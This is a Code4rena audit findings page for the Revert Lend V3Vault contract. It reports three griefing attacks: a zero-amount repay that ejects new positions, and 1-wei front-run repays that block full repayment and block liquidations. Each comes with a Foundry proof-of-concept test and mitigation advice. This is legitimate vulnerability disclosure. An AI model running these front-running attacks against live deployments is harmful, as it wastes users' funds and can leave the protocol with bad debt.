Platform: Code4rena
Start Date: 04/03/2024
Pot Size: $88,500 USDC
Total HM: 31
Participants: 105
Period: 11 days
Judge: ronnyx2017
Total Solo HM: 7
Id: 342
League: ETH
Rank: 22/105
Findings: 2
Award: $713.13
🌟 Selected for report: 1
🚀 Solo Findings: 0
709.7782 USDC - $709.78
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L954
A user can create a position by calling the create
function or by simply sending the NFT to the vault via safeTransferFrom
. Both of those methods will trigger the V3Vault::onERC721Received
function:
446: loans[tokenId] = Loan(0); 447: 448: _addTokenToOwner(owner, tokenId); // @audit: NFT added to storage
The loan for this position (loans[tokenId]
) is instantiated with 0 debt and the NFT is added to storage:
1297: function _addTokenToOwner(address to, uint256 tokenId) internal { 1298: ownedTokensIndex[tokenId] = ownedTokens[to].length; 1299: ownedTokens[to].push(tokenId); 1300: tokenOwner[tokenId] = to; // @audit: to == user address 1301: }
At this point, the user has only instantiated their position and has not borrowed against it, meaning the position's debt is 0
. Additionally, the V3Vault::_repay
function does not require the amount
to repay a position's debt to be non-zero. Thus, the following will occur when a malicious actor repays the non-existent debt of the newly created position with 0
value:
954: function _repay(uint256 tokenId, uint256 amount, bool isShare, bytes memory permitData) internal { 955: (uint256 newDebtExchangeRateX96, uint256 newLendExchangeRateX96) = _updateGlobalInterest(); 956: 957: Loan storage loan = loans[tokenId]; 958: 959: uint256 currentShares = loan.debtShares; // @audit: 0, newly instantiated 960: 961: uint256 shares; 962: uint256 assets; 963: 964: if (isShare) { 965: shares = amount; // @audit: amount == 0 966: assets = _convertToAssets(amount, newDebtExchangeRateX96, Math.Rounding.Up); 967: } else { 968: assets = amount; // @audit: amount == 0 969: shares = _convertToShares(amount, newDebtExchangeRateX96, Math.Rounding.Down); 970: } 971: 972: // fails if too much repayed 973: if (shares > currentShares) { // @audit: 0 == 0 974: revert RepayExceedsDebt(); 975: } ... 990: uint256 loanDebtShares = loan.debtShares - shares; // @audit: null storage operations 991: loan.debtShares = loanDebtShares; 992: debtSharesTotal -= shares; ... 1001: address owner = tokenOwner[tokenId]; // @audit: user's address 1002: 1003: // if fully repayed 1004: if (currentShares == shares) { // @audit: 0 == 0 1005: _cleanupLoan(tokenId, newDebtExchangeRateX96, newLendExchangeRateX96, owner); // @audit: remove NFT from storage and send NFT back to user
As we can see above, repaying an empty position with 0
amount will result in the protocol believing that the loan is being fully repaid (see line 1004). Therefore, the _cleanupLoan
internal function will be invoked, which will remove the position from storage and send the NFT back to the user:
1077: function _cleanupLoan(uint256 tokenId, uint256 debtExchangeRateX96, uint256 lendExchangeRateX96, address owner) 1078: internal 1080: { 1081: _removeTokenFromOwner(owner, tokenId); // @audit: remove NFT from storage 1082: _updateAndCheckCollateral(tokenId, debtExchangeRateX96, lendExchangeRateX96, loans[tokenId].debtShares, 0); // @audit: noop 1083: delete loans[tokenId]; // @audit: noop 1084: nonfungiblePositionManager.safeTransferFrom(address(this), owner, tokenId); // @audit: transfer NFT back to user
Since the user's NFT is no longer in the vault, any attempts by the user to borrow against the prematurely removed position will result in a revert since the position is now non-existent.
Users' newly created positions can be prematurely removed from the vault before the users can borrow against that position. This would result in the user wasting gas as they attempt to borrow against a non-existence position and are then forced to re-create the position.
Note that sophisticated users are able to bypass this griefing attack by submitting the create
and borrow
calls in one transaction. However, seeing as there are explicit functions used to first create a position and then to borrow against it, average users can be consistently griefed when they follow this expected flow.
Place the following test inside of the V3Vault.t.sol
and run with forge test --mc V3VaultIntegrationTest --mt testGriefNewPosition
:
function testGriefNewPosition() public { // set up attacker address attacker = address(0x01010101); // --- user creates new position --- // _setupBasicLoan(false); (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT); assertEq(collateralValue, 8847206); assertEq(fullValue, 9830229); assertEq(address(vault), NPM.ownerOf(TEST_NFT)); // NFT sent to vault // --- user attempts to borrow against position, but gets griefed by attacker --- // // attacker repays 0 debt for position and removes position vm.prank(attacker); vault.repay(TEST_NFT, 0, false); assertEq(TEST_NFT_ACCOUNT, NPM.ownerOf(TEST_NFT)); // NFT sent back to user // user attempts to borrow with new position, but tx reverts vm.prank(TEST_NFT_ACCOUNT); vm.expectRevert(IErrors.Unauthorized.selector); vault.borrow(TEST_NFT, collateralValue); }
Manual
I would recommend validating the amount
parameter in the repay function and reverting if amount == 0
. Additionally, there can be an explicit reversion if the loan attempting to be repaid currently has 0
debt.
Other
#0 - c4-pre-sort
2024-03-18T18:05:46Z
0xEVom marked the issue as high quality report
#1 - c4-pre-sort
2024-03-18T18:05:52Z
0xEVom marked the issue as primary issue
#2 - c4-sponsor
2024-03-26T16:01:08Z
kalinbas (sponsor) confirmed
#3 - c4-judge
2024-03-31T14:49:54Z
jhsagd76 marked the issue as satisfactory
#4 - c4-judge
2024-04-01T15:34:23Z
jhsagd76 marked the issue as selected for report
#5 - kalinbas
2024-04-09T17:30:35Z
🌟 Selected for report: kfx
Also found by: 0x175, 0xAlix2, 0xjuan, AMOW, Aymen0909, CaeraDenoir, Giorgio, JCN, JecikPo, JohnSmith, Norah, SpicyMeatball, alexander_orjustalex, atoko, erosjohn, falconhoof, givn, grearlake, jnforja, kinda_very_good, lanrebayode77, nmirchev8, shaka, web3Tycoon, zxriptor
3.3501 USDC - $3.35
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L954
Users can choose to repay any amount of debt they wish, as there is no minimum repayment enforced for the repay
functions. Additionally, any user can repay any position, as the msg.sender
is not validated in the repay
functions. When a position is repaid, the supplied debt shares (debt msg.sender
wishes to pay off) must not be greater than the current debt shares for the position, else the transaction will revert:
959: uint256 currentShares = loan.debtShares; 960: 961: uint256 shares; 962: uint256 assets; 963: 964: if (isShare) { 965: shares = amount; 966: assets = _convertToAssets(amount, newDebtExchangeRateX96, Math.Rounding.Up); 967: } else { 968: assets = amount; 969: shares = _convertToShares(amount, newDebtExchangeRateX96, Math.Rounding.Down); 970: } 971: 972: // fails if too much repayed 973: if (shares > currentShares) { 974: revert RepayExceedsDebt(); 975: }
Based on the above, a user who is attempting to repay their entire debt can be griefed when an attacker frontruns the user's transaction with a transaction to repay the smallest amount possible for the positions (Ex: 1 wei). This will result in currentShares
decreasing, becoming less than the user's supplied shares
in their tx. Thus, the user's tx will revert due to line 973.
An attacker can prevent user's from repaying their entire debt in one transaction. This will result in the user wasting gas for these failed transactions and will force them to repay their debt in multiple transactions.
Additionally, this griefing attack is relatively cheap for an attacker to execute since they only need to repay the smallest amount of debt possible for the position in question.
Place the following test inside of the V3Vault.t.sol
and run with forge test --mc V3VaultIntegrationTest --mt testGriefFullRepay
:
function testGriefFullRepay() public { // set up attacker address attacker = address(0x01010101); uint256 attackerRepayAmount = 1; // 1 wei deal(address(USDC), attacker, attackerRepayAmount); // --- user borrows --- // _setupBasicLoan(true); // --- user attempts to repay all debt but gets griefed by attacker --- // (,, uint256 userTotalDebt,,) = vault.loanInfo(TEST_NFT); // attacker repays small amount of user's debt (frontrunning user) vm.startPrank(attacker); USDC.approve(address(vault), attackerRepayAmount); vault.repay(TEST_NFT, attackerRepayAmount, false); vm.stopPrank(); // user is not able to pay off full debt, since it has now changed vm.startPrank(TEST_NFT_ACCOUNT); USDC.approve(address(vault), userTotalDebt); vm.expectRevert(IErrors.RepayExceedsDebt.selector); vault.repay(TEST_NFT, userTotalDebt, false); vm.stopPrank(); }
Manual
To mitigate this attack, a minimum repayment can be enforced. This would make the attack more costly and thus less likely to occur.
Additionally, the addresses allowed to repay a position can be restricted to addresses that the position owner has explicitly allowed. For example, only the position owner and approved transformers may be allowed to repay the debt of the position.
Other
#0 - c4-pre-sort
2024-03-18T18:45:17Z
0xEVom marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-03-18T18:47:08Z
0xEVom marked the issue as duplicate of #448
#2 - c4-pre-sort
2024-03-22T12:02:49Z
0xEVom marked the issue as duplicate of #222
#3 - c4-pre-sort
2024-03-23T18:31:19Z
0xEVom marked the issue as high quality report
#4 - c4-judge
2024-03-31T14:48:31Z
jhsagd76 marked the issue as satisfactory
🌟 Selected for report: kfx
Also found by: 0x175, 0xAlix2, 0xjuan, AMOW, Aymen0909, CaeraDenoir, Giorgio, JCN, JecikPo, JohnSmith, Norah, SpicyMeatball, alexander_orjustalex, atoko, erosjohn, falconhoof, givn, grearlake, jnforja, kinda_very_good, lanrebayode77, nmirchev8, shaka, web3Tycoon, zxriptor
3.3501 USDC - $3.35
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L685
Liquidations in Revert Lend occur in full. This means that the specified amount of debt shares to pay off must be equal to the current debt shares of the position, else the transaction will revert:
695: uint256 debtShares = loans[params.tokenId].debtShares; 696: if (debtShares != params.debtShares) { 697: revert DebtChanged(); 698: }
The current debtShares
of a position will decrease when some amount of the position is repaid via the V3Vault::repay
function. Additionally, there is no minimum repayment enforced in this repay
function, which can allow a malicious actor to frontrun the liquidator's tx with a call to repay
, repaying the smallest amount possible for the position's debtShares
to decrease.
This will result in the liquidator's tx reverting since debtShares
has now decreased and does not equal the supplied params.debtShares
that the liquidator specified for their tx.
A malicious actor can temporarily block liquidations for unhealthy accounts by frontrunning liquidators with a transaction to repay the smallest amount possible for the position in question. In the worse case scenario (turbulent market conditions), this can incentivize a malicious actor to perpetually DoS liquidations for high value positions until those positions produce bad debt for the protocol.
Overall, this vulnerability increases the chances of the protocol incurring bad debt.
Place the following test inside of the V3Vault.t.sol
and run with forge test --mc V3VaultIntegrationTest --mt testGriefLiquidation
:
function testGriefLiquidation() public { // set up attacker address attacker = address(0x01010101); uint256 attackerRepayAmount = 2; // 2 wei deal(address(USDC), attacker, attackerRepayAmount); // --- user borrows --- // _setupBasicLoan(true); (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT); assertEq(collateralValue, 8847206); assertEq(fullValue, 9830229); // debt is equal collateral value (uint256 debt,,, uint256 liquidationCost, uint256 liquidationValue) = vault.loanInfo(TEST_NFT); assertEq(debt, collateralValue); assertEq(liquidationCost, 0); assertEq(liquidationValue, 0); // --- user's position becomes unhealthy and enters liquidation mode --- // // wait 7 day - interest growing vm.warp(block.timestamp + 7 days); // debt is greater than collateral value (debt,,, liquidationCost, liquidationValue) = vault.loanInfo(TEST_NFT); assertEq(debt, 8869647); assertEq(liquidationCost, 8869647); assertEq(liquidationValue, 9226564); // --- liquidator attempts to liquidate position, but gets griefed by attacker --- // uint256 debtShares = vault.loans(TEST_NFT); // attacker repays a small amount of debt to decrease debt shares vm.startPrank(attacker); USDC.approve(address(vault), attackerRepayAmount); vault.repay(TEST_NFT, attackerRepayAmount, false); vm.stopPrank(); // liquidator's tx reverts since debt shares have changed vm.startPrank(WHALE_ACCOUNT); USDC.approve(address(vault), liquidationCost); vm.expectRevert(IErrors.DebtChanged.selector); vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, "")); vm.stopPrank(); }
Manual
This vulnerability was exploitable for two reasons:
A minimum repayment should be enforced to make this attack more costly, however it would not completely eliminate this attack vector.
Additionally, if the supplied params.debtShares
are greater than the actual debt shares, then the function should not revert. Instead, the params.debtShares
should be set to the actual debt shares of the position.
Other
#0 - c4-pre-sort
2024-03-18T18:10:55Z
0xEVom marked the issue as high quality report
#1 - c4-pre-sort
2024-03-18T18:11:00Z
0xEVom marked the issue as primary issue
#2 - 0xEVom
2024-03-18T18:13:28Z
Contains coded POC and a clear description, marking as high quality report.
See also mitigation comments on #301.
#3 - c4-pre-sort
2024-03-22T12:02:54Z
0xEVom marked the issue as duplicate of #222
#4 - c4-judge
2024-03-31T14:48:43Z
jhsagd76 marked the issue as satisfactory